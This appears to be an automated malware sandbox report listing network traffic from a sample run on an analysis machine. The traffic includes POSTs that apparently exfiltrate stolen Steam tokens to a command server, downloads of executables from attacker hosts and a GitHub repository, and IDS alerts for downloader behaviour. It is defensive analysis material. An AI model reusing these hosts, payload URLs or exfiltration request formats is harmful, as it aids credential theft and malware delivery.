Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEHCFIDHIDGIDHJEHIDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 62 37 32 37 30 37 64 34 61 37 66 35 39 39 39 33 61 31 37 38 34 64 64 65 36 34 63 38 66 30 63 36 37 39 66 63 36 38 32 30 35 30 31 30 62 31 33 32 37 35 31 38 63 33 34 31 33 37 64 38 34 63 31 37 39 38 37 64 31 64 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 2d 2d 0d 0a Data Ascii: ------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="token"0eb72707d4a7f59993a1784dde64c8f0c679fc68205010b1327518c34137d84c17987d1d------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="file"------IIEHCFIDHIDGIDHJEHID--
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDHIEBAAKJDHIECAAFHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 62 37 32 37 30 37 64 34 61 37 66 35 39 39 39 33 61 31 37 38 34 64 64 65 36 34 63 38 66 30 63 36 37 39 66 63 36 38 32 30 35 30 31 30 62 31 33 32 37 35 31 38 63 33 34 31 33 37 64 38 34 63 31 37 39 38 37 64 31 64 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------FIDHIEBAAKJDHIECAAFHContent-Disposition: form-data; name="token"0eb72707d4a7f59993a1784dde64c8f0c679fc68205010b1327518c34137d84c17987d1d------FIDHIEBAAKJDHIECAAFHContent-Disposition: form-data; name="message"ybncbhylepme------FIDHIEBAAKJDHIECAAFH--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 36 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019677001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49770 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49791 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49794 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49795 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49793 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49797 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49798 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49799 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49804 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49805 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49813 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49811 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49822 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49823 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49830 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49834 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49836 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49839 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49857 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49861 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49864 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49868 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49867 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49863 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49874 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49880 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49879 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49894 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49898 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49893 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49902 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49907 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49911 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49922 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49927 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49926 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49942 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49944 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49946 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49948 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49949 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49928 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49953 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49954 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49915 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49957 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49956 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49959 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49962 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49964 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49965 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49969 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49970 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49958 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49984 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49987 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49995 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49990 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50006 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49999 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50007 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50034 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50020 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50044 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50051 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50055 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50059 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50066 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50068 -> 104.21.91.209:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50079 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50082 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50091 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50096 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50094 -> 172.67.209.202:443
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00BCE0C0 recv,recv,recv,recv, 0_2_00BCE0C0
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /k04ael HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: toptek.sbsConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
